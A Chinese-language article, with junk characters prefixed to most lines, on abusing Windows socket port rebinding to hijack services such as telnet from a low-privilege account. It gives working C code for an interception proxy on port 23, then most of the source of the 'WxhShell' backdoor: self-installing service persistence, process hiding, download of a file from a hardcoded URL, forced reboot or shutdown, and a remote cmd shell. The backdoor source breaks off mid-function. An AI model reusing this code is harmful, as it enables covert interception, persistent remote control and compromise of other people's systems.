在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BuJo W@) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
oxwbq=a6yV gq+SM
i= saddr.sin_family = AF_INET;
vl"w,@V7 '0<d9OlJ} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t&r.Kf9Z\ zC?'Qiuh* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@,vmX
z Wv;0PhF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'solCAy Q#bW"},^k 这意味着什么?意味着可以进行如下的攻击:
9mF' $*Ucfw1T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/F*Y~>*% 1 S$6|KY u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ewZ?+G+m 2w?q7N% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]-=L7a |.<_$[v[x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
p~pD`'% (`x_MTLL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6#=jF[ *Rgr4-eS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-9Q(3$} Lkt4F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|LHJRP-Z :ym?]EL4o #include
SeX ]|?D #include
#EzBB*kP
#include
Dd3f@b[WX #include
\Z-th,t DWORD WINAPI ClientThread(LPVOID lpParam);
y7Po$ )8l int main()
!b8V&< {
qt"D!S_ WORD wVersionRequested;
A2_ut6&eb DWORD ret;
om3
%\ WSADATA wsaData;
<_EKCk BOOL val;
peQwH SOCKADDR_IN saddr;
~#-?V[ SOCKADDR_IN scaddr;
a)_3r]sv^ int err;
rTPgHK]?l SOCKET s;
J2mHPVA3 SOCKET sc;
uYJS=NGNA int caddsize;
zj
6I:Qr HANDLE mt;
fPR_3qgQ DWORD tid;
_y@28t wVersionRequested = MAKEWORD( 2, 2 );
Y]z
:^D err = WSAStartup( wVersionRequested, &wsaData );
<r%K i`u(p if ( err != 0 ) {
+;N]34>S7 printf("error!WSAStartup failed!\n");
Q@D7\<t return -1;
r$7. }
&D,Iwq saddr.sin_family = AF_INET;
AIF?>wgq { 3G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v 6 ~9)\!j agIqca; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DUp`zW;B saddr.sin_port = htons(23);
p{f R$-d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HJL! ;i {
,OE&e*1 printf("error!socket failed!\n");
Hon2;-:]{] return -1;
|'^s3i&w }
%iyc1]w{ val = TRUE;
E^F"$Z"N //SO_REUSEADDR选项就是可以实现端口重绑定的
DfXkLOGik if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tOwn M1
:( {
!_QI<=X printf("error!setsockopt failed!\n");
q_M N return -1;
\PrJy6& }
iw@rW5%'~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
L9b.D< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u3T-U_:jSV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mm/\\my rrD6x> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
TdhfX {nk {
uD\R3cY ret=GetLastError();
crmQn ^4\ printf("error!bind failed!\n");
W .a>K$ return -1;
byHc0ktI\ }
i3-5~@M listen(s,2);
2)}n"ibbT while(1)
MxTJgY {
m\:^9A4HCg caddsize = sizeof(scaddr);
MZgaQU g //接受连接请求
!np_B0` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N$fP\h^AR if(sc!=INVALID_SOCKET)
7?.uAiM'zT {
ak(s@@k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-(vHy/Hz. if(mt==NULL)
)nUdU
= m {
_3/u#'m0 printf("Thread Creat Failed!\n");
L&\W+k break;
]U?nYppV }
}$ y.qqG }
*zrT;jG CloseHandle(mt);
m&)/>'W }
rH}|~ closesocket(s);
u[a-9^&g WSACleanup();
Nr|Gw
@+ return 0;
{^]qaQ[5N }
UZdnsG7 DWORD WINAPI ClientThread(LPVOID lpParam)
FFT)m^4p. {
x39tnf/F SOCKET ss = (SOCKET)lpParam;
;
476t SOCKET sc;
Agcss20. unsigned char buf[4096];
c`E>7Hjr- SOCKADDR_IN saddr;
rZK h}E long num;
-l[H]BAMXy DWORD val;
5Tsz|k DWORD ret;
Kz'GAm\ //如果是隐藏端口应用的话,可以在此处加一些判断
oj 8r* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
YwVA].p@TI saddr.sin_family = AF_INET;
Xo PJ?63 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vo/x`F'ib saddr.sin_port = htons(23);
-rDfDdT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g=:o 'W$@ {
;>,B(Xz4i printf("error!socket failed!\n");
qq)5)S return -1;
ZflB<cI }
NlYuT+ val = 100;
ko%mZ0Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rwWOhD)RU {
5Tn< ret = GetLastError();
P~7(x7/7~ return -1;
lMv6QL\>' }
_Sjj|j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vfSPgUB) {
[Rj4=qq= ret = GetLastError();
VL#:oyWA return -1;
| W@ ~mrO }
N"9^A^w8k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kNuvJ/St {
^-%'ItVO printf("error!socket connect failed!\n");
8\J$\Edv closesocket(sc);
l;-2hZ closesocket(ss);
Tzd#!Lvm:, return -1;
|Iy;_8c }
{$S"Sj while(1)
!(*&P {
lDS y$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LWr YKi //如果是嗅探内容的话,可以再此处进行内容分析和记录
FM]clC;X? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+|C@B`h num = recv(ss,buf,4096,0);
ch#)XomN if(num>0)
3MQHoxX send(sc,buf,num,0);
FH</[7f;@N else if(num==0)
yLRe'5#m break;
0>[]Da} num = recv(sc,buf,4096,0);
fR1LVLU if(num>0)
b>5*G1 send(ss,buf,num,0);
tY$@,>2 v else if(num==0)
}$)~HmZw break;
m mF0RNE }
p39$V[*g( closesocket(ss);
#(
.G;e;w closesocket(sc);
4m~y%>
& return 0 ;
2)BO@]n }
fb Bu^]^S UVDMYA0 + 149 o2 ==========================================================
7\@c1e*e
IlJ"t`Z9) 下边附上一个代码,,WXhSHELL
NXD- Sr+hB>{ ==========================================================
=1 Plu5 C\{A|'l!x #include "stdafx.h"
nscnG5'{+ 5,xPB5pK #include <stdio.h>
+B{u,xgg #include <string.h>
6TRLHL~B #include <windows.h>
2UQF:R?LQ #include <winsock2.h>
olv&K(-ccI #include <winsvc.h>
p$"~vA . #include <urlmon.h>
BMq> Cj+ (o{Y;E@/y #pragma comment (lib, "Ws2_32.lib")
-|x7<$Hw #pragma comment (lib, "urlmon.lib")
drpx"d[c n)N!6u #define MAX_USER 100 // 最大客户端连接数
@Ez>?#z #define BUF_SOCK 200 // sock buffer
#ChTel #define KEY_BUFF 255 // 输入 buffer
(YJ2-
X~ +wG
*qI #define REBOOT 0 // 重启
y/@Bhzc #define SHUTDOWN 1 // 关机
&q&z$Gc;m Mn5(Kw?o2J #define DEF_PORT 5000 // 监听端口
R(t%/Hvs$ vdXi'< #define REG_LEN 16 // 注册表键长度
=pzTB-G #define SVC_LEN 80 // NT服务名长度
42e [OG- z<Z0/a2'1 // 从dll定义API
'!$QI@@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uj;iE
9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
p$F`9_bZ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6Takx%U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F=&,=r'Q8 _)@G,E33f@ // wxhshell配置信息
aGWO3Nk struct WSCFG {
>0 7i"a int ws_port; // 监听端口
O0y0'P-rJq char ws_passstr[REG_LEN]; // 口令
75>%!mhM int ws_autoins; // 安装标记, 1=yes 0=no
ju:}%' char ws_regname[REG_LEN]; // 注册表键名
kM-8%a2i char ws_svcname[REG_LEN]; // 服务名
vEjf|-Mb9 char ws_svcdisp[SVC_LEN]; // 服务显示名
R;,5LS&*a char ws_svcdesc[SVC_LEN]; // 服务描述信息
5X8 i=M; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]G&[P8hzB int ws_downexe; // 下载执行标记, 1=yes 0=no
'h ? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b+Sj\3fX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!pfpT\i]N: E 9Kp=3H };
"[/W+&z[~ ipG 0ie+ // default Wxhshell configuration
%cs"PS struct WSCFG wscfg={DEF_PORT,
(4z_2a(Dl, "xuhuanlingzhe",
Gy+c/gK 1,
f2tCB1[D+ "Wxhshell",
+% <kcc3 "Wxhshell",
_R0O9sPTO "WxhShell Service",
0rX%z$D+@ "Wrsky Windows CmdShell Service",
;7[DFlS\P "Please Input Your Password: ",
4]}d'x& 1,
QlVj#Jv;~ "
http://www.wrsky.com/wxhshell.exe",
m,+E5^ "Wxhshell.exe"
K}q5,P( };
3hkEjR D=LsoASVI // 消息定义模块
/0`Eux\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
nYC.zc*o x char *msg_ws_prompt="\n\r? for help\n\r#>";
Z$i?p;HnW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
QP"5A7=m char *msg_ws_ext="\n\rExit.";
D,$M$f1 char *msg_ws_end="\n\rQuit.";
)a!f")@uz char *msg_ws_boot="\n\rReboot...";
EId>%0s5 char *msg_ws_poff="\n\rShutdown...";
?AO=)XV2 char *msg_ws_down="\n\rSave to ";
>q')%j ys) char *msg_ws_err="\n\rErr!";
8/B8yY-O char *msg_ws_ok="\n\rOK!";
qi^kf 5T"h7^}e char ExeFile[MAX_PATH];
+
S5uxO int nUser = 0;
Tq^B>{S" HANDLE handles[MAX_USER];
UU}Hs} int OsIsNt;
UQI!/6F .: wg@Z SERVICE_STATUS serviceStatus;
rD6NUS SERVICE_STATUS_HANDLE hServiceStatusHandle;
cEXd#TlY~X ui"`c%2n // 函数声明
1C=42ZZ&2 int Install(void);
gjiS+N[ int Uninstall(void);
LvGo$f/9 int DownloadFile(char *sURL, SOCKET wsh);
R
{-M%n4w int Boot(int flag);
K7$Q. void HideProc(void);
=C#z Px, int GetOsVer(void);
(w_b int Wxhshell(SOCKET wsl);
dtQ3iuV % void TalkWithClient(void *cs);
g}?39?o4 int CmdShell(SOCKET sock);
8eCh5*_$ int StartFromService(void);
sj+ ) int StartWxhshell(LPSTR lpCmdLine);
TJcHqzcUc SA"4|#3>7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
PTpfa*t VOID WINAPI NTServiceHandler( DWORD fdwControl );
<,*w$ ko{&~ // 数据结构和表定义
V[8!ymi0 SERVICE_TABLE_ENTRY DispatchTable[] =
lh\`9F: {
%YuFw|wO {wscfg.ws_svcname, NTServiceMain},
0m4#{^Y {NULL, NULL}
u9 *ic~Nh };
EE9eG31|r C-:|A* z // 自我安装
'*U_!RmQ int Install(void)
_0&U'/cs {
#pD=TMefC char svExeFile[MAX_PATH];
.dc|?$XV HKEY key;
hZ>1n&[@ strcpy(svExeFile,ExeFile);
ju.`c->k" j<?k$8H // 如果是win9x系统,修改注册表设为自启动
3E @ & if(!OsIsNt) {
bHDZ=Ik if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZSwhI@| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ASS<XNP RegCloseKey(key);
gsIp y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!}d_$U$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ngrj@_J RegCloseKey(key);
(^ J2( return 0;
7*+tG7I @ }
T[ zEAj }
E0A[{UA }
-t*P=V|@ else {
q)"yP\ M VE:JNm // 如果是NT以上系统,安装为系统服务
xM&`>`;^e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4SkCV if (schSCManager!=0)
EBmkKiI; {
?;rRR48T9E SC_HANDLE schService = CreateService
w~AO;X*Ke" (
JWQd6JQ_~V schSCManager,
yTWicW7i wscfg.ws_svcname,
j3o?B wscfg.ws_svcdisp,
_bCIVf` SERVICE_ALL_ACCESS,
4?`*#DPl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:K*/ SERVICE_AUTO_START,
q) e*eN SERVICE_ERROR_NORMAL,
) Cm95,Y svExeFile,
{ZUgyGE{ NULL,
Q-e(>=Gv_ NULL,
|pT[ZT|}G NULL,
Mn*v&O : NULL,
OV^?cA NULL
tHJahK:"k );
;3=RM\ if (schService!=0)
SQdK`]4 {
FdxV#.BE CloseServiceHandle(schService);
V4<f4|IL CloseServiceHandle(schSCManager);
"6WE6zq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ZjgfkZAS strcat(svExeFile,wscfg.ws_svcname);
r#mH[|@W~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G'iE`4`2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#!jwn^yq RegCloseKey(key);
a/~1CrYr return 0;
?J5E.7o }
T
mH5+ }
zrA=?[ CloseServiceHandle(schSCManager);
K!tM "`a }
5BM rn0 }
D'
h%. X$<CIZ return 1;
a;G>56iw }
70A* !v Zx|VOl,; // 自我卸载
E7U.>8C int Uninstall(void)
Ye\&_w"
{
\2[ HKEY key;
7!g4 `@!5M V4?]NFK if(!OsIsNt) {
XAUHF-"WE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5Kkp1K$M RegDeleteValue(key,wscfg.ws_regname);
5Noy~; RegCloseKey(key);
RAoY`AWI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q:P44`Aq RegDeleteValue(key,wscfg.ws_regname);
XNkZ^3mq RegCloseKey(key);
.#Lu/w' -M return 0;
B|kIiL63
D }
q!) nSD }
A{wSO./3 }
&bwI7cO else {
eq4Yc*|9 M^y5 Dep SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ugQySg> if (schSCManager!=0)
GOY!()F {
4#D>]AX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Z7=k$e if (schService!=0)
$_u)~O4$ {
kXZG<? if(DeleteService(schService)!=0) {
}\.Z{h:t
? CloseServiceHandle(schService);
ga|-~~ CloseServiceHandle(schSCManager);
*qw//W return 0;
;TCT%j`^o }
Wo/LrCg CloseServiceHandle(schService);
}b]z+4Ua( }
Z:<6Ck CloseServiceHandle(schSCManager);
NfXEW- }
WTj,9 }
Si=u=FI1e iR{*XE
return 1;
MY z\ R
\ }
/~_,p,:aP j<-YK4.t // 从指定url下载文件
-Z&9pI(3R~ int DownloadFile(char *sURL, SOCKET wsh)
^r^) &] {
O`'r:W HRESULT hr;
1y6{3AZm< char seps[]= "/";
Q|nGY:98 char *token;
hv9k9i7@l char *file;
f26hB;n char myURL[MAX_PATH];
-e_L2<7 char myFILE[MAX_PATH];
E3 aj m 3"|$0C~ strcpy(myURL,sURL);
K`twbTU token=strtok(myURL,seps);
FSkz[D_} while(token!=NULL)
McRfEF\ {
njBK { file=token;
2!g7F`/B token=strtok(NULL,seps);
L%0G >2x }
5VK.Zs\ 6 9EdMuf GetCurrentDirectory(MAX_PATH,myFILE);
)\fLS d strcat(myFILE, "\\");
P~ODd( strcat(myFILE, file);
c>yqq' send(wsh,myFILE,strlen(myFILE),0);
//-;uEO send(wsh,"...",3,0);
U<.,"`=l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$g]'$PB if(hr==S_OK)
])$Rw$`w return 0;
'mE!,KeS; else
t(5PKD#~Dc return 1;
Zf8_ko;|:- 6,Y<1b*|Vo }
"/$2oYNy+ l5CFm8% // 系统电源模块
x10u?@ int Boot(int flag)
"'*w_H0 {
okQ<_1e{ HANDLE hToken;
J=AF`[ TOKEN_PRIVILEGES tkp;
?bH!|aW(H ^mCKRWOP' if(OsIsNt) {
|lVoL.Z,0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_*LgpZ-2( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W60C$*h tkp.PrivilegeCount = 1;
+|TFxaVz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RP~ hi%A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Eh/Z4pzT if(flag==REBOOT) {
eaCh;IpIf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!5=S2<UX return 0;
}J|Pd3Q Sf }
pn-`QB:{h else {
8;1,saA_9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!t!\b9= return 0;
b]xE^zM-I` }
/zZ";4 }
O}mz@-Z else {
7':qx}c#!1 if(flag==REBOOT) {
db5@+_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pF}WMt return 0;
zJX _EO }
db0]D\ else {
KkD&|&!Q7u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
VJ()sbl{k return 0;
&BS*C} }, }
NX9K%J }
*_CzCl^
xJ|_R,>.H return 1;
yZw5?{g@ }
?'+kZ| .Arcsg // win9x进程隐藏模块
t p<wMrq< void HideProc(void)
mPS27z( {
&(i_s .<kbYo:MV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
PQA}_o if ( hKernel != NULL )
6Dz N.fz {
jltW@co2sV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.p$tb2%r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b_rHt
s FreeLibrary(hKernel);
v2;'F }
dxK3462 P1I L] return;
:DoE_ }
RgTrj o%sx(g=q6 // 获取操作系统版本
'jj|bN int GetOsVer(void)
xmNs<mz {
e]q(fPK OSVERSIONINFO winfo;
8m"jd+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'4]_~?&x GetVersionEx(&winfo);
HGl.dO7NU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=@y
?Np^A return 1;
>N8*O3 else
\zx$]|AQ return 0;
m*H' Cb }
?:+sjHzXT \<0xg[ // 客户端句柄模块
QP:|D_k int Wxhshell(SOCKET wsl)
5}NTqN0@ {
;?.w!|6 SOCKET wsh;
32x[6"T struct sockaddr_in client;
tv'=xDCp DWORD myID;
83g$k
9lG. s5
($b while(nUser<MAX_USER)
crl"Ec {
3+oGR5gIN int nSize=sizeof(client);
pRH'>}rtuH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=u
3YRqz if(wsh==INVALID_SOCKET) return 1;
!@4 i:,p@ iWp
6^g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S\R5SRE if(handles[nUser]==0)
+
[~)a4# closesocket(wsh);
<tto8Y
j else
N977F$Bo nUser++;
"xV0$% }
8Ai\T_l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8"yZS)09
H?cJ'Q,5 return 0;
br%l>Y\" }
?'RB'o~ lFZl}x // 关闭 socket
Q%!Dk0-) void CloseIt(SOCKET wsh)
,Vfjt=6]} {
)];Bo.QA closesocket(wsh);
*"Uf| nUser--;
/_qW?LKG/ ExitThread(0);
W*r1Sy }
&(X 67 +sT S1t // 客户端请求句柄
/X;/}fk void TalkWithClient(void *cs)
ToX--w4 {
Jp"yb`w o1Nfn'!3/> SOCKET wsh=(SOCKET)cs;
2KtK.2; 7 char pwd[SVC_LEN];
;LqpX!Pi
f char cmd[KEY_BUFF];
mnL+@mm char chr[1];
nZ %%{#T7 int i,j;
5jAS1XG <rxtdI"3 while (nUser < MAX_USER) {
2;ju/9x "/nbcQ*s*E if(wscfg.ws_passstr) {
%&j\:X~A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sf"vi i,1A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t-Uo //ZeroMemory(pwd,KEY_BUFF);
#\Zr$?t|V i=0;
TyY%<NCIb while(i<SVC_LEN) {
BlfadM; |8?e4yVd // 设置超时
l1vI fd_set FdRead;
6u>]-K5 struct timeval TimeOut;
K.Tob,5` FD_ZERO(&FdRead);
{"c`k4R FD_SET(wsh,&FdRead);
6/6{69tnr TimeOut.tv_sec=8;
otbr8&?- TimeOut.tv_usec=0;
nzU;Bi^m int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'P)c'uqd# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X& mD/1 H3LuRGe&2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
HZqk)sN pwd
=chr[0]; gY!?JZC-0
if(chr[0]==0xd || chr[0]==0xa) { {5]c\_.
pwd=0; 72 ZoN<c
break; b/?)_pg
} 2N{^V?:
i++; foUB/&Ee
} 0<93i
-9Dr;2\
// 如果是非法用户,关闭 socket :!Nx'F9a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #>6Jsnv1
} X0Wx\xDg[
R@){=8%z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dhjX[7Bl9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SY.ZEJcv
<nTZs`$LwL
while(1) { zx5#eMD
|DYgc$2pN
ZeroMemory(cmd,KEY_BUFF); \/64Xv3L0
td7Of(k'
// 自动支持客户端 telnet标准 &0i$Y\g
j=0; Fw:_O2
while(j<KEY_BUFF) { mLx=Zes:.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bYO['ORr@
cmd[j]=chr[0]; !jvl"+_FV
if(chr[0]==0xa || chr[0]==0xd) { n?U^vK_
cmd[j]=0; U(Tl$#Bt
break; n?;h-KKO:
} g(9kc<`3'D
j++; $[Q;{Q
} 67XUhnE
1'N<ITb
// 下载文件 C]Y%dQh+a
if(strstr(cmd,"http://")) { %o5'M^U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); iI>7I<_
if(DownloadFile(cmd,wsh)) =3ovaP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9khMG$
else H+Aidsn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =X9fn
} m/"([Y_
else { -y>~ :.
u=tp80_
switch(cmd[0]) { aIDv~#l
sF>O=F-7
// 帮助 w{t]^w:
case '?': { mFeR~Bi>!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zdw*
?C
break; wX$|(Y}
} Zl>dBc%
// 安装 Ot)S\s>
case 'i': { ik#Wlz`4
if(Install()) `5e{ec
c7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3-&~jm~"
else #uF`|M$u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~KRS0^
break; KK6fRtKv>q
} P*H0Hwn;
// 卸载 1$+8wDVwad
case 'r': { @+l=R|
if(Uninstall()) J?EDz,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bgn%d4W;G
else vw4b@v-XQ3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =H3tkMoi2
break; `lQ;M?D
} \Z,{De%
// 显示 wxhshell 所在路径 <MX
case 'p': { k'k}/Hxub
char svExeFile[MAX_PATH]; Rj4C-X4=
strcpy(svExeFile,"\n\r"); vQ]d?Tp
strcat(svExeFile,ExeFile); ([
-i5
send(wsh,svExeFile,strlen(svExeFile),0); U1HG{u,"y
break; D6H?*4f]
} +*Z'oC BJ,
// 重启 h!v<J
case 'b': { ]Vmo>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gO)":!_n W
if(Boot(REBOOT)) zhm 0J-g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C JER&"em7
else { a+cDH
closesocket(wsh); lx=tOfj8
ExitThread(0); ]%y>l j?Y
}
46pR!k
break; 7~F~ 'V
} ~\8(+qIv%f
// 关机 i/skU9
case 'd': { 1.+6x4%rV
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3h:y[Vm#9y
if(Boot(SHUTDOWN)) gnjhy1o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'WC!K.e
else { J{.UUw9Agd
closesocket(wsh); \1LfDlQk)
ExitThread(0); s'oNW
} tv.<pP9-C
break; k@un}}0r
} w]yVNB
// 获取shell \hZ%NLj
case 's': { ZZ!">AN`^
CmdShell(wsh); M;,$
)>P
closesocket(wsh); ]gg(Z!|iQ
ExitThread(0); (wM` LE(Ks
break; D[ #V
} Y)DX
// 退出 =u ?aP}zc
case 'x': { -YAtM-VL
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |oke)w=gn
CloseIt(wsh); QxdC[t$Lp
break; B~N3k
} 5K 2K'ZkI
// 离开 Z#L4n#TT
case 'q': { V^&*y+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5.oIyC^Ik
closesocket(wsh); e1LIk1`p
WSACleanup(); i/%lB
exit(1); y/c3x*l.xL
break; <JH,B91
} ?KOw~-u
} jT=|!,Pn
} (Jw_2pHxr"
3,Yr%`/5'
// 提示信息 Uu5(/vw]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r+8D|stS
} j&oRj6;Ha+
} #}FUa u$
[GI~ &
return; sqtz^K ROM
} Mh4MaLw
D,ZLo~
// shell模块句柄 |DJ8
"T]E
int CmdShell(SOCKET sock) Leb|YX
{ #YYJ4^":k
STARTUPINFO si; ~cCMLK em
ZeroMemory(&si,sizeof(si)); @)uV Fw"\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 26rg-?;V^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (+epRC
PROCESS_INFORMATION ProcessInfo; 7!pKlmQ
char cmdline[]="cmd"; ZQ_6I}i")
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~}}<+ JEEO
return 0; :86:U 0^
} $vf gYl4q
R-S<7Q3E0=
// 自身启动模式 #%\0][Xf
int StartFromService(void) ,;6 V=ok
{ /oHCV0!0
typedef struct [jzsB:;XB&
{ AtG~!)hG
